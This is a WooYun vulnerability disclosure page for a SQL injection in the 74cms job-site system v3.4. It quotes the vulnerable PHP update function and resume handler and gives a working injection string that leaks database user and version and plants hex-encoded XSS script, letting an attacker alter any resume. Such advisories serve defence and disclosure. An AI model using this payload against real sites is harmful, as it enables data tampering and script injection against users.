当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2014-71571

漏洞标题: 骑士人才系统注入(20140805)注入一枚

相关厂商: 74cms.com

漏洞作者: loopx9认证白帽子

提交时间: 2014-08-09 15:22

公开时间: 2014-09-23 15:24

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: Mysql sql注射 php审计

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-09: 细节已通知厂商并且等待厂商处理中
2014-08-09: 厂商已经确认,细节仅向厂商公开
2014-08-19: 细节向核心白帽子及相关领域专家公开
2014-08-29: 细节向普通白帽子公开
2014-09-08: 细节向实习白帽子公开
2014-09-23: 细节向公众公开

简要描述:

v3.4 20140808

详细说明:

include/common.fun.php

code 区域
function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) {
global $db;
$setsql = $comma = '';
foreach ($setsqlarr as $set_key => $set_value) {
if(is_array($set_value)) { //如果是数组就取第一个元素
$setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0]; //没引号
} else {
$setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\''; //有引号
}
$comma = ', ';
}
$where = $comma = '';
if(empty($wheresqlarr)) {
$where = '1';
} elseif(is_array($wheresqlarr)) {
foreach ($wheresqlarr as $key => $value) {
$where .= $comma.'`'.$key.'`'.'=\''.$value.'\'';
$comma = ' AND ';
}
} else {
$where = $wheresqlarr;
}
return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":"");
}



user/personal/personal_resume.php 284行:

code 区域
elseif ($act=='make3_save')
{

if (intval($_POST['pid'])==0 ) showmsg('参数错误!',1);
$setsqlarrspecialty['specialty']=!empty($_POST['specialty'])?$_POST['specialty']:showmsg('请填写您的技能特长!',1); //specialty可作数组传入
$_CFG['audit_edit_resume']!="-1"?$setsqlarrspecialty['audit']=intval($_CFG['audit_edit_resume']):"";
updatetable(table('resume'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'"); //进入查询
updatetable(table('resume_tmp'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'");
check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
if ($_POST['go_resume_show'])
{
header("Location: ?act=resume_show&pid={$_POST['pid']}");
}
else
{
header("Location: ?act=make4&pid=".intval($_POST['pid']));
}
}

漏洞证明:

这个注入可以越权更改任意简历,或是插入xss。在个人简历技能特长处填入:

code 区域
concat(user(),0x0a,version(),0x0a,0x3C7363726970743E616C657274282F7873732F293C2F7363726970743E)

过滤函数绕不过,只能找找二次注入

1.png

2.png

修复方案:

加引号&过滤.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-08-09 17:41

厂商回复:

感谢您提交的漏了和修复方案!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-01 13:55 | 拨开乌云 ( 路人 | Rank:6 漏洞数:4 )
    1

    不错啊,原来还能这样。

登录后才能发表评论,请先 登录